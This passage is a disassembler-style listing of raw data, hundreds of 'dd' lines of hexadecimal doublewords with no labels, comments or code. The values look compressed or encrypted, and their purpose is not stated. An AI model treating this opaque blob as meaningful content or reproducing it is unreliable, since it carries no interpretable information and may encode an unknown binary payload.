		dd 1BA07CB8h, 0BFC9EEEEh, 1DEE6E9Bh, 2BE493A1h,	38FF0491h
		dd 25EB5C50h, 30885368h, 0CAC49088h, 50C55526h,	0ECCD3707h
		dd 90C0B01h, 2F88310h, 1F765E1Bh, 23254A84h, 248C4750h
		dd 0F11F531Bh, 89763189h, 0A8D3453Dh, 8D25BB4Eh, 5A5C1AADh
		dd 5B288617h, 0E8E94DACh, 0F701E233h, 0B47A59D8h, 0E0CEB28h
		dd 31348E8Bh, 0B83BF833h, 650BF64h, 0B09D692h, 14C683h
		dd 7278FEB2h, 0A93AD8C7h, 0BF76048Dh, 3885141Bh, 7DF81649h
		dd 40E6B210h, 69CF66Ah,	0C35D5906h, 560ACFD5h, 0E8C94777h
		dd 0A5ACAD6Dh, 687DFA13h, 4B41762h, 0D7C14684h,	8D5E8518h
		dd 11326E57h, 1121DFE8h, 450C453Bh, 7676C1D2h, 0C9EC9604h
		dd 5133C136h, 48B23E2Fh, 0EF2E257Bh, 0E05D2EF8h, 448DED6Ah
		dd 0A3120937h, 3528812Ch, 4D2A3CE6h, 44177808h,	6A025845h
		dd 68C72B74h, 532D48C8h, 215B61A3h, 394770E8h, 74431ADDh
		dd 5F8D5597h, 0C4C5071Bh, 2810BA6Ah, 1E041334h,	32139051h
		dd 0A414D705h, 3404010h, 68106AF7h, 21224156h, 71C41F2Eh
		dd 0B657104Ah, 52265121h, 383A251Bh, 5168F30Ch,	0E812564Fh
		dd 62BF470Ah, 63591863h, 0FB21F721h, 13C8FB93h,	0E591B771h
		dd 6CEF490Ch, 78E6936h,	254F1473h, 0F228D7E8h, 3D072577h
		dd 41F68C28h, 985645EBh, 56DC535h, 7606E301h, 9F109ECh
		dd 53320E2Ch, 602DAC33h, 0C3A20A6Fh, 0BDCE3B58h, 0BF2D8DEBh
		dd 611942F2h, 240814A0h, 5E098D98h, 685D5B5Fh, 684046Fh
		dd 410175C9h, 71E1B9B8h, 83D54076h, 0D4E702E0h,	2CF50315h
		dd 1440DD3Ah, 740AFA80h, 0D0ACE0Eh, 5C1E09A8h, 75D25AB1h
		dd 0C58942D0h, 40BE562Eh, 1E76D631h, 0C10CC28Bh, 4A3C08E8h
		dd 48B4E90Ch, 2231210h,	0C2810905h, 51C2FFE4h, 0BA99E852h
		dd 0C4B3A8C2h, 0E906BC53h, 53097F9Bh, 0AFCC1D8Ah, 0E8C9CBABh
		dd 1D2851Ah, 48A1C76h, 91C33239h, 0D200A95h, 0FEDA9CD8h
		dd 413EC0C3h, 0E472CA3Bh, 2E88D8CAh, 6A227780h,	99B06815h
		dd 7AD620F6h, 13BD6C88h, 0DC2C130h, 5D45ABE8h, 0EB156D98h
		dd 17142174h, 87229868h, 0A6F58966h, 4EAB2348h,	8117CAF1h
		dd 8739590Fh, 0C2297614h, 5160DF18h, 380E0C8Ah,	0A588CB32h
		dd 0A8024006h, 4AF27214h, 0A91B89A3h, 0DEFE2BAAh, 388042EFh
		dd 50F00C0h, 47736895h,	0A7769D3Dh, 0EBEE7C02h,	0F74A414Bh
		dd 4EDCB33Eh, 0B84831A2h, 2C211093h, 2EC0B05Eh,	3448B80h
		dd 0A6831C24h, 206E5FC4h, 7C8EADCh, 0F43C891Bh,	85203119h
		dd 0D8A680FFh, 25CC1422h, 0CC17D55Eh, 5F8A981Fh, 261057F9h
		dd 214B6DBh, 7BC4A5F3h,	2B80C725h, 0E660EA22h, 0F426C93Dh
		dd 1F205A56h, 0C415E82Fh, 5FEC782Dh, 17A0B266h,	0B496A14h
		dd 67CAD7A0h, 9F4D82F9h, 11AA45A4h, 0C50B498Ch,	8CB2E507h
		dd 86BEDF40h, 0B13C3E40h, 0ECB628E5h, 65046CBEh, 6AD62D12h
		dd 42A0D698h, 32C11281h, 0C1C789AEh, 821008FEh,	0E4BF4810h
		dd 81241284h, 741C37C6h, 0B01D8CFEh, 5309E5B9h,	14210A55h
		dd 40DB338Eh, 7EF33BEDh, 0B436D773h, 6B497D63h,	0A3049233h
		dd 22AEBE8Dh, 185737E5h, 3F1F39E7h, 893A0174h, 5EC82AE4h
		dd 6C09E0Ah, 0A95AC491h, 34E882DEh, 408EAEEh, 8848CC21h
		dd 29065D14h, 0C8A742D8h, 50B68D6Dh, 0FC1F35D0h, 0F410A436h
		dd 0B8BFE1Eh, 5B5D5EC5h, 84081E92h, 0FC0C79E8h,	0C3AA61E8h
		dd 12B16DAh, 0E0C4B843h, 0BAD3C4E2h, 9282E0D4h,	53ADD80Ch
		dd 463C88BEh, 801194Ch,	0FF851A75h, 3E39D87Eh, 0DFDE879Dh
		dd 67820EC5h, 3499918h
		dd 113062E2h, 0C401434Bh, 6ACF122Fh, 90E26642h,	0F7B94866h
		dd 543B11C2h, 656067C2h, 0C1518140h, 0C0F9D827h, 0B9E926A1h
		dd 21D22A3Fh, 3B312DA0h, 11E609BAh, 425621A4h, 4CFC5822h
		dd 1697745Dh, 0B60D24Dh, 880924B4h, 0DF891BD6h,	0E539DC2Dh
		dd 0D187564Bh, 7F1D7EE7h, 0B71C7F28h, 0BA2913F1h, 66310789h
		dd 2D1A6828h, 0D038CC1Fh, 30EB2186h, 0FB311012h, 45C26A1Ah
		dd 0E2E062DFh, 9842B3FBh, 0A1422BA0h, 83C3C442h, 8331BABCh
		dd 0C8228889h, 0C8B00C6Fh, 32C864C4h, 17D019CCh, 0B03792BFh
		dd 48CB48C8h, 0C7EE20C5h, 69EB40BAh, 2C3CB67Ch,	0C058062h
		dd 54C0128Ah, 3A805974h, 2CB22AF9h, 0A3433F0Ah,	0C45B0A20h
		dd 0B1CA3A4Ch, 0F15B4750h, 888D29EBh, 1D50460Ah, 95891508h
		dd 4C254E2Ch, 1168EB10h, 0E88A152Dh, 4E4512D0h,	1746F3C3h
		dd 420E8A43h, 9EBA4CFh,	14205E85h, 0B265F711h, 120E06F2h
		dd 0CB9A648Bh, 24D70AF0h, 5D24E78Eh, 0E9246BF2h, 0C0EDB408h
		dd 21030AF8h, 8040F87Dh, 0AED0B539h, 0DF410675h, 0AA67C0Ch
		dd 8A2C300Fh, 0FB338019h, 2D396C5Dh, 8F0F482Dh,	0F82D1C19h
		dd 710F8D28h, 0BC498A01h, 0C83A06C0h, 5E3C1C7Dh, 7CC2C75Dh
		dd 8E97133Ch, 8A1B67F1h, 7CD93A20h, 0AD8E814h, 3289107Fh
		dd 3EF3378Ch, 8918561Fh, 8302C8D2h, 50FC6538h, 9AC9AA7Eh
		dd 0CA258DF8h, 3E740A7Dh, 0BC6C3BF9h, 6995FF51h, 8637C9DFh
		dd 8722D645h, 0D731EA4Bh, 963006FFh, 8A1604EBh,	84FA8010h
		dd 46C41D25h, 1517752Ah, 33A4A8D0h, 0A78B340Fh,	1938872Eh
		dd 0FBEBE2D3h, 0E5DAFF40h, 0F860F220h, 3A118A24h, 15753ED3h
		dd 4C4B183Eh, 9196A32h,	5DF83082h, 26369051h, 0C337FE72h
		dd 7C23A75h, 23EB68C1h,	8D636E76h, 209B820Dh, 992CC0Eh
		dd 0EA758140h, 81117DC9h, 44E8360Fh, 0F3B95DA5h, 0A7176505h
		dd 0C605418Ch, 0DA570B3h, 0DC97F576h, 0E4A537Ch, 4889EB3h
		dd 4A285317h, 414EFB0h,	0A175E8C2h, 0B0E32B20h,	99BFB150h
		dd 457401D6h, 0B418BE56h, 8F01901Fh, 0D8032F76h, 7446D620h
		dd 63CC95DAh, 0E835D050h, 732E4225h, 66579F62h,	3E8E508Eh
		dd 0E6236497h, 244076C6h, 26D0F87Eh, 0E07E2F27h, 0CA1AD1C6h
		dd 643F5364h, 170332DCh, 0F3484F91h, 62B7EDBCh,	0A8233081h
		dd 0C589E19Dh, 6C5E5F38h, 0FD8CA178h, 88264C6Eh, 71A4560Dh
		dd 1348D05h, 741B5DE8h,	533B4621h, 6823A07Ch, 2980A6F0h
		dd 796C2D83h, 3C210F81h, 6B5E348Ah, 1D0395Ah, 0C8551809h
		dd 42385D44h, 0F12E2186h, 0E7100F2Ch, 542C8A9Ch, 80AEB893h
		dd 3219E8A3h, 382D519Dh, 682AF820h, 0E7204764h,	3D83242Ch
		dd 648F4A8Eh, 20A05F08h, 86A181F2h, 59D446F6h, 8680F044h
		dd 1108BB45h, 4549FB57h, 8A3D6064h, 428A848Ah, 87411E7Eh
		dd 4A150ACAh, 3E43B7F7h, 7D909021h, 3C57C9BCh, 888D7EC5h
		dd 2368DE67h, 0C4C52294h, 1A9C5F34h, 25034EF0h,	6AD8C124h
		dd 20803A4Bh, 9DCCBD8Dh, 28647C7Eh, 24DA7076h, 69B85C71h
		dd 0C1A57089h, 0ACDF3439h, 0DF0669E9h, 4B15A986h, 0BB11BE50h
		dd 1123E84Eh, 5E369AE4h, 7908E50h, 4C61FE12h, 5A7B850Fh
		dd 491B2C89h, 520A43B9h, 4E6410AFh, 2DC8A053h, 1405F4B5h
		dd 72991257h, 0DC3995ECh, 0E8EE7B70h, 0EDE1B05Bh, 4C8A1909h
		dd 5B8B9B6Bh, 0D140E21h, 91737CE8h, 5332A418h, 0E02C6F1Ah
		dd 0BD801B3Ch, 2F418F5Ch, 0D0B6107h, 240E954Dh,	804A2232h
		dd 6D59DCEDh, 9921AA89h, 0C012EC14h, 27C8F00Ch,	830644C4h
		dd 1984BC12h, 1850B01Ch, 0C82F6AE8h, 864B416h, 0A8B51C82h
		dd 8509F736h, 0A241BB8h, 0C4812CEEh, 0B009252Eh, 44C09850h
		dd 8D40C383h, 39281473h, 0F526F23Eh, 2DFC6545h,	0D0EF0CB1h
		dd 2AC62386h, 1CEAC151h, 0AF9A7C33h, 0DF82BF75h, 27335AF9h
		dd 869A572Ch, 0F6A5CC45h, 0F8F10908h, 7E282EC4h, 147A9B27h
		dd 0D0C53413h, 8AAEA684h, 0FE4470B2h, 13874204h, 0ECA32A57h
		dd 90161329h, 0A441C820h, 5EEF249Fh, 0C2DC3D21h, 181199F8h
		dd 4112937h, 38851202h,	8353EE46h, 5B829DF6h, 0C10204C6h
		dd 124450E0h, 591C9839h, 14B522FFh, 58BFC2FFh, 58699B2h
		dd 7695653Fh, 0BE5782CDh, 68C9528Ch, 56798104h,	549CA353h
		dd 1D891886h, 7C950D98h, 0CBF420Eh, 3997C5Eh, 0DA30573Bh
		dd 3EEB9A53h, 0D5642454h, 24EE5218h, 0A3C6F47Dh, 2883886Ch
		dd 7F6A8840h, 556020FAh, 8D1A751Ah, 2E789D45h, 0E88FA063h
		dd 0C7631D23h, 0E3555605h, 17EB1433h, 0C3441C1h, 418B061Dh
		dd 9DB21DDEh, 0A9D5FC34h, 85548878h, 46406842h,	826EF90Ch
		dd 1992534Fh, 9231BE0Ah, 1C7220F5h, 45D294A3h, 51535FE4h
		dd 0F92A7C68h, 890DA213h, 47ED7F1Dh, 16A1858Eh,	88B29BAh
		dd 7454684Eh, 4AB0D560h, 1E327B85h, 0A19CA5A2h,	55BE21A4h
		dd 152F9434h, 44C4177Bh, 0B4402357h, 38125C29h,	42425644h
		dd 5530E123h, 355F3E0Ah, 18046DC8h, 138C2F75h, 1011FB48h
		dd 0F7CC0823h, 0E59F2C1Ch, 281D0D95h, 95813F71h, 2905FF6Dh
		dd 0DE321128h, 3D282222h, 4484C7CCh, 62A84857h,	401C280Dh
		dd 0F4462F04h, 0A1573C10h, 0F1105530h, 888740F2h, 105D573Ch
		dd 27ADC4DCh, 97407A6Ch, 2F719B59h, 682A7D6h, 66249939h
		dd 1162266h, 0F2E80708h, 108EEF5h, 0C885C492h, 51F41871h
		dd 0DB8B1808h, 238ADCE8h, 0C2F0D940h, 5278A319h, 0F8882847h
		dd 21A1B851h, 5C527C08h, 5A57D021h, 5BB63224h, 2864539Eh
		dd 0F41127D4h, 88101051h, 3826E684h, 0F3088007h, 0A3180884h
		dd 0E85151ECh, 0F04F2C41h, 0EC842726h, 20102E51h, 0A940A801h
		dd 3C158660h, 96425327h, 88D53D3h, 2A67208Bh, 0E80382F8h
		dd 1A39F4CDh, 64BE2185h, 49858B5Ah, 5C6A8763h, 3187E8A1h
		dd 9FCB62Ah, 5D188802h,	0DC24906Ah, 68A3065Bh, 2227A60Bh
		dd 112657DCh, 0C0528126h, 0DFD8A336h, 408D4A25h, 80FA2049h
		dd 760D8928h, 4413A174h, 1A225013h, 2CE81978h, 4A59F6EAh
		dd 897821BAh, 1A1C25CCh, 42EE0340h, 0A32004F1h,	4295B70h
		dd 7A6AE59h, 121D0D8Ah,	741A6C69h, 1DEB2912h, 4380A638h
		dd 0FEEE1652h, 1DE078B8h, 15A05B84h, 3F931BEBh,	4731B4C4h
		dd 14111B25h, 60644F95h, 0DA482BA9h, 4C1B8D25h,	3EC51BBEh
		dd 2E5636A9h, 0A44B79A2h, 0DFA14048h, 7A17A545h, 4913DA00h
		dd 44860A6Ah, 8B354D83h, 0FDA35106h, 7D10E47Fh,	0FFCE3356h
		dd 0F49B896Bh, 40F80620h, 0E817F0FCh, 60A9F6DDh, 0F2590F12h
		dd 0DD712771h, 0D8D41492h, 7C09F89Ah, 88E80916h, 0A73B5F71h
		dd 76E56476h, 1B76D918h, 0D2AE56A9h, 0F81A91F5h, 40BD9C21h
		dd 0D8F89FCh, 95BB58EAh, 57FA158h, 31F8069h, 15030800h
		dd 9F44D25h, 0F506F828h, 890C1C82h, 0D192CD04h,	20920B7Bh
		dd 89E8C294h, 0AE47DB85h, 0C8B125D4h, 89DEED3Bh, 75460583h
		dd 4B6F9D22h, 0FE144E0Ah, 32E46608h, 0FB77E8CAh, 0B2E69466h
		dd 0A27E6887h, 6F7C8004h, 26322412h, 0BCC57DE4h, 89B16CB7h
		dd 0AF54F85Dh, 6109D025h, 0E599C4E0h, 6EB589CCh, 0BDCA15E4h
		dd 70523210h, 95367829h, 0D84A571Bh, 0EB9F2DE0h, 0B8CBE16Dh
		dd 0E88B90DCh, 16892C5h, 2649BFA1h, 7B6A87C3h, 29A14349h
		dd 6188D8FDh, 2890E8DAh, 3EC141D6h, 1E999D89h, 0BAE0EEDCh
		dd 9E4322Ch, 0E6B5A3F4h, 62497E05h, 1EA15E8h, 991EC11h
		dd 52F022EEh, 0E15F44F2h
		dd 0F68F9588h, 246A19E8h, 999F82Dh, 20A820FAh, 887DACA7h
		dd 95C6B03Ch, 0CA6B06B1h, 0D81ACDB2h, 0B4A3A448h, 349B0EC1h
		dd 0A85B1206h, 0A62FE8E9h, 3DCA7478h, 2232FEF8h, 217F78C8h
		dd 201B1D40h, 9202F2E9h, 6A4010AFh, 0A3E99806h,	0CA513362h
		dd 3627CCB4h, 0AD77F2FCh, 680A046Dh, 0E9F691F4h, 0D61747C3h
		dd 2FA295FCh, 52A46F12h, 2F0D52ECh, 5F7F7814h, 1D1C9AE2h
		dd 0AB2854A7h, 42C01A55h, 91D75Ah, 14260422h, 924B2518h
		dd 0EB0EB0E4h, 1438686Ch, 0FEF01C16h, 0A817226Dh, 0EB0C101Ch
		dd 9A6C204Dh, 281B12C3h, 60116726h, 7C022358h, 0BD39662Ah
		dd 9393F588h, 4060FAD7h, 65BD8366h, 0EB012116h,	0DB30210Ch
		dd 91EB38E8h, 4B335F70h, 888821AEh, 7EDB1110h, 41B72CA6h
		dd 14425CC8h, 4A5E13C7h, 5B8CB02Ch, 0D25D2902h,	400DB019h
		dd 80C7D47Eh, 6066485Bh, 21D85840h, 0ABD44C9Ah,	0D640A5E5h
		dd 6959DE8Bh, 1FF6B1DBh, 8349B0E9h, 30C2F07Dh, 0D18D0F74h
		dd 99423295h, 0EBB14977h, 0A249F430h, 644B4208h, 96B34B9Dh
		dd 57EC122Bh, 745003B4h, 896C88FDh, 10544A84h, 309911B2h
		dd 54333B83h, 5E276541h, 1A321FC8h, 63788FE6h, 0D54EAAB4h
		dd 1A805F6Eh, 4ED0687Bh, 0A88A4851h, 0A45158A1h, 204BFC0Ch
		dd 80ECEF98h, 0D49D802Dh, 0A5F7A500h, 6D67E8E0h, 85B64075h
		dd 0D29BC02Dh, 0D2DEE8B8h, 2F02B297h, 9096E721h, 1102EA09h
		dd 0E912A46Bh, 85D2787Dh, 26F8156Dh, 9D19435h, 0DF42E026h
		dd 4481F402h, 0FE881882h, 80597C11h, 6E1B7A0Dh,	4A080E65h
		dd 963D5725h, 0F4E0C1C0h, 0CDC614FDh, 0FEA42115h, 0EBDCEC16h
		dd 0C44286A8h, 0E0989421h, 8B98B548h, 7C9C2022h, 0FC3AA98Dh
		dd 0F4A08055h, 0D5144A90h, 8DB1165Ah, 60CE3FFAh, 27838B12h
		dd 0C53C5184h, 0A0BC54D4h, 77C147C0h, 0EF1FE856h, 6868A105h
		dd 1CCE1BFh, 13931433h,	3398B2C2h, 124357B4h, 0D49889B8h
		dd 0EFB91F41h, 0BFB07096h, 4C64D464h, 16418550h, 0ECCD64ACh
		dd 60C3FC6Eh, 3BF564E8h, 0E79A0B27h, 8F060EEDh,	82954D50h
		dd 44BE6944h, 6499924Eh, 0B868E3B0h, 8BAB5831h,	9920D9ACh
		dd 1134B84Dh, 0BF23CC68h, 211F3D17h, 71395943h,	1D75D018h
		dd 5B1B5352h, 33C49232h, 0D12FE8B8h, 3488AF93h,	8EE742FEh
		dd 797DE06Ah, 0C50495BAh, 35A9D439h, 89FB85FAh,	9CF6361Ch
		dd 46903C92h, 0C5A48224h, 8CCCC848h, 7D8913D4h,	506B4ADCh
		dd 8A086E7Ch, 0C4FBC144h, 0EA73346Ah, 70E34892h, 9DE0B22Dh
		dd 0F429041Ah, 9A9704F0h, 774512FEh, 0C87D85E8h, 4D70179Ch
		dd 866FBDD8h, 65D04C11h, 5C9161DDh, 2C88BB42h, 6A8F2CA4h
		dd 47D6A21Eh, 0FA5823Bh, 0A0205486h, 74D014FBh,	0C475C720h
		dd 10EA60F0h, 0EBD60AF2h, 2E30211Fh, 0F6F774FCh, 3FDC93D4h
		dd 0D55CE755h, 0EC742801h, 21D068C9h, 427BBCFh,	32502611h
		dd 2178D1ABh, 88E4926Ch, 5992140Ch, 0D74258ADh,	8F7936CFh
		dd 0D4161399h, 0C5EE0A53h, 0F44D76C1h, 0EC0CDBA8h, 991453D3h
		dd 90B37BA1h, 0D4CBB090h, 59336B8Ch, 0CB5733F9h, 44EC51BCh
		dd 2F44322Bh, 25831069h, 0B7F633h, 0A8B08946h, 73D03FD2h
		dd 9F1797E8h, 0C879427Ch, 989590Eh, 0C356066Ah,	1EF4DA11h
		dd 6F5F7434h, 9D94E4A3h, 0A45E7B56h, 229FB1FDh,	0E63E7495h
		dd 0AD84949h, 0BD90BFC4h, 8AAC10A8h, 0DB125A58h, 108EE31Ch
		dd 0E089FF48h, 4436E157h, 6BD8E811h, 0C76038F5h, 0C48DC48Ch
		dd 4B44A628h, 5625E9B5h, 9C34CD18h, 5DA9BCA4h, 0F390BBCEh
		dd 824C2259h, 166F4CCCh, 0B6A483C7h, 0AD3333BDh, 85B352D0h
		dd 0D444CCC8h, 0F9435F33h, 59C97311h, 93F75850h, 8C05125Fh
		dd 165EEF02h, 4A4EA6B3h, 135F857Fh, 0CC83C257h,	88BF6463h
		dd 78C73BC2h, 0B740B5Eh, 574204EBh, 0F47D1240h,	9FA25082h
		dd 2A4F48D6h, 0A7A8BAB3h, 9B54BB48h, 0E0840938h, 39F9046Ah
		dd 452D7B8Bh, 5F645B2Eh, 0E9615252h, 0F1F1A13Dh, 50A83090h
		dd 8D4648Dh, 8D059E4h, 6E2186FCh, 0F2D0101Bh, 0FE2336E0h
		dd 7FFC9115h, 3808C487h, 84384F8h, 3BAA92A4h, 0B5742B61h
		dd 99BF1038h, 10901FA0h, 0DE8B8B28h, 5C974C2h, 0CFFE32D0h
		dd 0B58A3054h, 0D6E8047Bh, 0E312CDCCh, 0F1DCEA82h, 0B1346649h
		dd 9BC11F54h, 20A30C60h, 0CE45A885h, 69F1AB56h,	77EEA313h
		dd 4D289044h, 11700DF8h, 89DC8B81h, 7540E80Eh, 0F4467304h
		dd 0A83699C6h, 245C253Ch, 0EC18258h, 0EE46E8F1h, 59F84184h
		dd 1CBAC385h, 85686AFAh, 0CE8314A6h, 2024261Ah,	24E4A590h
		dd 5E891819h, 72B13E74h, 0C208C2E7h, 0C19F8D9h,	0DA30D972h
		dd 8D82C314h, 4E28083Ch, 0F0404204h, 2E743EF6h,	0E82256C0h
		dd 1F1B9764h, 2B981810h, 367148Ch, 0DC88C65Fh, 0C154AA87h
		dd 0A8967BAFh, 0EF1E233h, 1510C25Dh, 7D924FB8h,	0A005474h
		dd 8ABCF947h, 9CD56683h, 1E782526h, 745735CEh, 0B6885EB7h
		dd 1B4A7Dh, 0F7FF831h, 8D24C39Dh, 31DBD5Ch, 0ED8A5AB1h
		dd 675BC5Ch, 0EBC03204h, 2DD05352h, 5FE189C5h, 0FB77D246h
		dd 8A0A7518h, 0BF07882Ch, 15EB8181h, 8382DDC6h,	8F8C147h
		dd 161C4188h, 2E8702D9h, 9E76FF03h, 0E0A43669h,	0EF8CD92Ah
		dd 35F8C5D1h, 59F3023Dh, 78B0F487h, 0ED685AA9h,	2D885128h
		dd 6825016Ah, 0E8406098h, 0B7ED96F1h, 79578728h, 40FC05C8h
		dd 0ECFA8AC5h, 0AA3C9068h, 528F1115h, 35AFA16h,	32F4B45Bh
		dd 8054F80Ch, 8B186FA1h, 2685EBCEh, 406A933Eh, 8AA0A2E4h
		dd 247AAFD0h, 0C79D4C9h, 7F44CD26h, 43796CE8h, 8EFC773h
		dd 68936F8h, 66D5717Dh,	510838DAh, 0D3447E2Fh, 4C9EA9Fh
		dd 0C1B4EB3h, 0C924B3EBh, 0C5AFF75Eh, 23A21BF1h, 27615B46h
		dd 84C824E8h, 68288083h, 61E3D5C3h, 2448ED0h, 5C6B910Eh
		dd 69C38A0Bh, 60480C45h, 77FB3A4h, 6BA9572Ah, 8F98085Dh
		dd 38541158h, 9EE876B8h, 0A7BF1F13h, 2A60F142h,	8F270F10h
		dd 5D45E823h, 438D1618h, 8C461F08h, 561D1587h, 0E8D04AC2h
		dd 20102D2Eh, 8A926E6h,	0D1EE1B0h, 1916C2FFh, 4F8E44C0h
		dd 608C808h, 0A382D865h, 8B5B5EFCh, 40286468h, 93CD133Fh
		dd 6CFA031Eh, 23BE0F99h, 3C10649Fh, 0BFC0F73h, 986152BEh
		dd 0F7A8205Bh, 426A5612h, 11B98704h, 0EB7E0C23h, 58680819h
		dd 2B69E873h, 0AB215334h, 197C684Ch, 0B50955B8h, 0B82B2192h
		dd 623942C2h, 0B1FE646Ch, 6810E2A8h, 6FA28ED4h,	0FE83AD02h
		dd 12CDB5B1h, 6A2A9056h, 5758CA44h, 0B7116862h,	10686340h
		dd 2AFBA159h, 0A7A30EFCh, 0ACD65D66h, 1C0CDB73h, 1690FE92h
		dd 44A5FCECh, 13234310h, 6BE0680Ah, 1845F1BFh, 1B70F812h
		dd 44D51E2Ah, 0D617106Bh, 1DC798ABh, 1A827D2Bh,	80810C71h
		dd 954893B4h, 0EC202932h, 1C90C041h, 68B4C8EFh,	72E112B7h
		dd 2C98E964h, 0CFACFC69h, 0B2B96178h, 80B177AAh, 2A34BB15h
		dd 52A10ED4h, 0C40E52ADh, 9F74241Bh, 9CA7E49Eh,	0FC4927C6h
		dd 141F8F78h, 0D5178A5Ah, 3E014179h, 0C7192610h, 640868D8h
		dd 86DC9C08h, 68023C84h, 1E65F353h, 0CC8733F1h,	0C60C176Ch
		dd 5325A634h, 0BC10733Ch, 5F08FFBh, 9298FAEDh, 2E43F1E5h
		dd 0C2764DCh, 8A2FDDD8h, 36FBAF3Ch, 2A118E46h, 0CA59EC68h
		dd 9659CC56h, 466036F4h, 41A4DB7Eh, 28518453h, 0EE432B63h
		dd 5DA11A65h, 0CF566A2Bh, 85D1B046h, 3322FB59h,	0FA682738h
		dd 6C766456h, 2E478E85h
		dd 0FA100D21h, 4B1A0AD3h, 8A70CF56h, 0EA652B5Ah, 0E35EC249h
		dd 192E9EA0h, 0F895B5Fh, 448D4BCh, 10263195h, 4B9BE915h
		dd 0CAB48C16h, 0F4DFAAF0h, 99FDA7D3h, 0F62C6A00h, 1461661h
		dd 0CCE03E47h, 491297F8h, 8997160Fh, 2D18A095h,	0A70C764h
		dd 448459ACh, 75C7B455h, 71FE114Fh, 0BED33C39h,	0C4C025B6h
		dd 0FA104FD4h, 0D9BAE775h, 9A916228h, 99A35B2Bh, 938DD8FCh
		dd 0CEFE040Bh, 745D7DA9h, 34546DFBh, 0A424E83Fh, 40131A53h
		dd 40ACD2EBh, 71E91ED6h, 0A9CDBD56h, 6F415F1Eh,	0AF61D162h
		dd 86462DE7h, 38820775h, 4169B1E9h, 0E174D48h, 602FC283h
		dd 0C4448C1Dh, 50254A1Bh, 314606F8h, 1213068h, 7E896650h
		dd 0AC36E82Fh, 5E0D6329h, 2182DB3Bh, 25E85339h,	3062580h
		dd 904A68DFh, 161EA519h, 9F85B617h, 8B4E78EAh, 0E83F328Dh
		dd 157A486Dh, 5E98448h,	41EBDB32h, 3D43C9BBh, 0FEFC1077h
		dd 22025151h, 658FDC95h, 0AA0C1F56h, 741C402Eh,	8825D256h
		dd 1032B070h, 98A001B3h, 84C2F292h, 7DC38A59h, 56DC4F9Ch
		dd 40684882h, 171AA8Ch,	5069C93Ch, 1EF6481Bh, 0FF8285D3h
		dd 3040A420h, 74FA3066h, 7D800604h, 399982E0h, 0E815374Bh
		dd 967B20D4h, 0C2AC907h, 0E0C141E5h, 46072F03h,	0DC306DDFh
		dd 0BFC4780Dh, 2D2430E1h, 15316848h, 64DD4E4Ch,	5E703555h
		dd 0E8241C42h, 3F1A741Bh, 7A59C01Ch, 0FB8B3A6Fh, 7DA8B658h
		dd 88E52FB8h, 9D30326Dh, 98E6CECh, 16F6F345h, 0C42A0227h
		dd 1650DE89h, 8A35FBD8h, 0C74B24FCh, 0B986E7E4h, 363491F1h
		dd 0B7D623C5h, 0E446C130h, 6807860Fh, 0C5A1D279h, 3A7203CCh
		dd 5B0C6A05h, 21711EBh,	0D3F74A90h, 0DC50F3D2h,	0DF8BECF3h
		dd 1D890A1h, 3807D45Dh,	80478D20h, 8381AE2Ah, 1473BB8Bh
		dd 0AFDB850Fh, 1976E005h, 0DDE81C8Bh, 8DD140CBh, 0E9C1EC7Dh
		dd 0BD01025Ah, 3E183CAh, 0FF87A4DDh, 37EC4D8Ah,	0F9C03055h
		dd 0E1398002h, 3E28B3Fh, 248F8C88h, 41EC8EDh, 5D010F03h
		dd 0C9E2CB0Ch, 4099CA02h, 2E92EEDh, 460606EEh, 92290F28h
		dd 0CB033ACAh, 0C023832h, 488BEA32h, 1660CB79h,	11E76EBh
		dd 0BEB94550h, 0E8354415h, 808A09CCh, 57399190h, 0EC5177F1h
		dd 0D2703B46h, 0BFE55072h, 4D4876E4h, 0EB42EE0Fh, 92F3E34h
		dd 0BD02E4BFh, 0F2805E04h, 2B1173E0h, 3DCA0ADEh, 46111A57h
		dd 0F22A4E3Fh, 240FE0EDh, 969BFE87h, 4994135Bh,	4462C482h
		dd 7D845474h, 869480DCh, 0F0F3290Fh, 94F43664h,	640F80B0h
		dd 0AAE10D89h, 49427703h, 892EBB10h, 68F8A210h,	9A9C629Ah
		dd 45B8E8B8h, 90268BE4h, 88CD1061h, 872AC6FDh, 0E352F6CBh
		dd 51FD18D2h, 900A4828h, 68364C24h, 0CBE49A13h,	31BA4860h
		dd 1EE8573Fh, 51503B9Bh, 98915CAh, 0B66E188Ah, 122598BEh
		dd 0B48ED901h, 0A82CB18h, 3674C63Bh, 0B1180213h, 9AEFE140h
		dd 0C4B28CB1h, 0F024186h, 0FF141F83h, 0BE352B46h, 428A5F0Bh
		dd 99BE169Ah, 42488B2h,	0DCA58005h, 0B9C9BBD4h,	58AABD6Bh
		dd 0BD8D0C27h, 616823DDh, 0ABF31B8Fh, 61AAC966h, 82210420h
		dd 0D2DA8EF9h, 11219C25h, 5F7AB8E2h, 0F8BBFB0h,	0C67A05B7h
		dd 3F88FB91h, 265C24D4h, 628F10D5h, 2BFC6B64h, 2CAAFD99h
		dd 900513E9h, 195A34EEh, 2E644649h, 0BF1ECC52h,	528CD80Ah
		dd 2BC5A712h, 4AC404A0h, 7573C230h, 0AC4A65Fh, 0C5899D3Fh
		dd 360F5107h, 5CB56FE0h, 853CC57Dh, 5E8EF370h, 0A818A5A1h
		dd 0ABE23E7Dh, 902EB5AFh, 85FA7F5h, 0B9AFE0CDh,	0C42BE2CAh
		dd 9940B9CAh, 0A165E41Ah, 0C8B4BF7Ch, 0BDEA679Dh, 755039A0h
		dd 4DBC2649h, 0CC8B0332h, 0F5DC6589h, 0E4E83404h, 6D989F8h
		dd 199C20F8h, 1C82BF91h, 0A68135EBh, 2B098B2Fh,	151D0E75h
		dd 0EB14CDE7h, 519D1A18h, 42122101h, 0E6C6FAEEh, 0D8B60F16h
		dd 0DBADD8ABh, 0E8BD8295h, 99D9D503h, 0C31CF444h, 188C0F02h
		dd 3E1AB3D4h, 4887C1D0h, 568B1174h, 82979BB0h, 57808D65h
		dd 0E4FFBD26h, 0E80680B3h, 6B2E05BDh, 0F10137E9h, 0C340E199h
		dd 0B1DC36FAh, 2735D1A5h, 1107B289h, 688008Ah, 0BFDF58E8h
		dd 12D5C656h, 0C7FB4AFh, 120719A9h, 0C6722F3Fh,	0CE7C2C43h
		dd 25014428h, 90265F51h, 1AE2087Dh, 14464B2Bh, 49021649h
		dd 876C349Fh, 0C396C8B2h, 0E11180DCh, 1B9E340Fh, 9E94803h
		dd 1AB585E0h, 0BF504BADh, 462B5709h, 1D77C08h, 0E2E80577h
		dd 5A90ADC7h, 32760E81h, 0CCD97E8Bh, 0B948EF03h, 0BB0635A5h
		dd 441E77C2h, 24B8B66Bh, 62039A39h, 669D0E78h, 0B42281A7h
